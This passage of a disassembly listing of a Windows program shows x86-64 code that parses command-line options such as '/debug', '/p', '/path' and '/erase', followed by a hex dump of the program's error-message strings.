004510d8mov rcx, [rbp+64]
004510dclea rdx, [rip+369]
004510e3call fn_40dc90
004510e8test eax, eax
004510eaje 0x45110f
004510eclea rcx, [rbp+56]
004510f0mov edx, [rip+0x1f6b6]
004510f6call fn_405df0
004510fbmov rcx, [rbp+56]
004510fflea rdx, [rip+354]
00451106call fn_40dc90
0045110btest eax, eax
0045110djne 0x451112
0045110f
0045110floc_45110f:
0045110fmov sil, 1
00451112
00451112loc_451112:
00451112lea rcx, [rbp+48]
00451116mov edx, [rip+0x1f690]
0045111ccall fn_405df0
00451121mov rcx, [rbp+48]
00451125lea rdx, [rip+340]
0045112ccall fn_40dc90
00451131test eax, eax
00451133jne 0x451138
00451135mov dil, 1
00451138
00451138loc_451138:
00451138add [rip+0x1f66d], 1
0045113f
0045113floc_45113f:
0045113fcall fn_405d70
00451144cmp [rip+0x1f662], eax
0045114ajle 0x4510a4
00451150test bl, bl
00451152je 0x4511e8
00451158mov rax, [rip+0x12e61]
0045115fmov [rax+308], 1
00451166mov rax, [rip+0x12e53]
0045116dmov [rax+309], 1
00451174call AllocConsole
00451179test sil, sil
0045117cjne 0x4511b0
0045117exor eax, eax
00451180mov [rbp+47], al
00451183lea rcx, [rip+274]
0045118axor edx, edx
0045118ccall fn_439060
00451191lea rcx, [rip+420]
00451198xor edx, edx
0045119acall fn_439060
0045119fmov rcx, [rip+0x12f0a]
004511a6call fn_4078c0
004511abcall fn_405a40
004511b0
004511b0loc_4511b0:
004511b0test dil, dil
004511b3je 0x4511e7
004511b5xor eax, eax
004511b7mov [rbp+47], al
004511balea rcx, [rip+447]
004511c1xor edx, edx
004511c3call fn_439060
004511c8lea rcx, [rip+365]
004511cfxor edx, edx
004511d1call fn_439060
004511d6mov rcx, [rip+0x12ed3]
004511ddcall fn_4078c0
004511e2call fn_405a40
004511e7
004511e7loc_4511e7:
004511e7nop
004511e8
004511e8loc_4511e8:
004511e8lea rcx, [rbp+48]
004511ecmov edx, 4
004511f1call fn_40bdd0
004511f6movzx rax, [rbp+47]
004511fblea rsp, [rbp+88]
004511ffpop rbx
00451200pop rsi
00451201pop rdi
00451202pop rbp
00451203ret
00451040

00451204
00451204 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......

00451210
00451210fn_451210:
00451210push rbp
00451211sub rsp, 32
00451215mov rbp, rsp
00451218lea rcx, [rdx+48]
0045121cmov edx, 4
00451221call fn_40bdd0
00451226lea rsp, [rbp+32]
0045122apop rbp
0045122bret
00451210

0045122c
0045122c b0 04 02 00 ....
00451230 ff ff ff ff 06 00 00 00 2f 00 64 00 65 00 62 00 ......../.d.e.b.
00451240 75 00 67 00 00 00 00 00 b0 04 02 00 ff ff ff ff u.g.............
00451250 02 00 00 00 2f 00 70 00 00 00 00 00 b0 04 02 00 ..../.p.........
00451260 ff ff ff ff 05 00 00 00 2f 00 70 00 61 00 74 00 ......../.p.a.t.
00451270 68 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 h...............
00451280 2f 00 65 00 72 00 61 00 73 00 65 00 00 00 00 00 /.e.r.a.s.e.....
00451290 b0 04 02 00 ff ff ff ff 49 00 00 00 45 00 52 00 ........I...E.R.
004512a0 52 00 4f 00 52 00 3a 00 20 00 2f 00 64 00 65 00 R.O.R.:. ./.d.e.
004512b0 62 00 75 00 67 00 20 00 6f 00 70 00 74 00 69 00 b.u.g. .o.p.t.i.
004512c0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
004512d0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
004512e0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
004512f0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
00451300 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
00451310 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00451320 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
00451330 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00451340 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00451350 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00451360 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
00451370 00 00 00 00 b0 04 02 00 ff ff ff ff 4a 00 00 00 ............J...
00451380 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 2f 00 E.R.R.O.R.:. ./.
00451390 64 00 65 00 62 00 75 00 67 00 20 00 6f 00 70 00 d.e.b.u.g. .o.p.
004513a0 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6e 00 t.i.o.n. .c.a.n.
004513b0 27 00 74 00 20 00 62 00 65 00 20 00 75 00 73 00 '.t. .b.e. .u.s.
004513c0 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 e.d. .w.i.t.h. .
004513d0 2f 00 65 00 72 00 61 00 73 00 65 00 20 00 6f 00 /.e.r.a.s.e. .o.
004513e0 70 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 50 00 p.t.i.o.n... .P.
004513f0 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 74 00 r.o.c.e.s.s. .t.
00451400 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
00451410 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc d...............